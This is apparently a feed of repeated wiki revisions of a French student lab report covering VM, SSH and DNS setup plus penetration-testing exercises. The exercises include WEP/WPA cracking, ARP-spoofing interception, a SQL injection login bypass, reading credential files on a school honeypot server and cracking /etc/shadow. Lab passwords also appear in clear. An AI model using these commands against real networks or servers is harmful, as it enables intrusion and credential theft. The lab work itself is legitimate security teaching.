  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55125</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55125"/>
				<updated>2020-12-21T16:59:50Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Intrusion sur un serveur d'application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55124</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55124"/>
				<updated>2020-12-21T16:58:39Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Intrusion sur un serveur d'application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
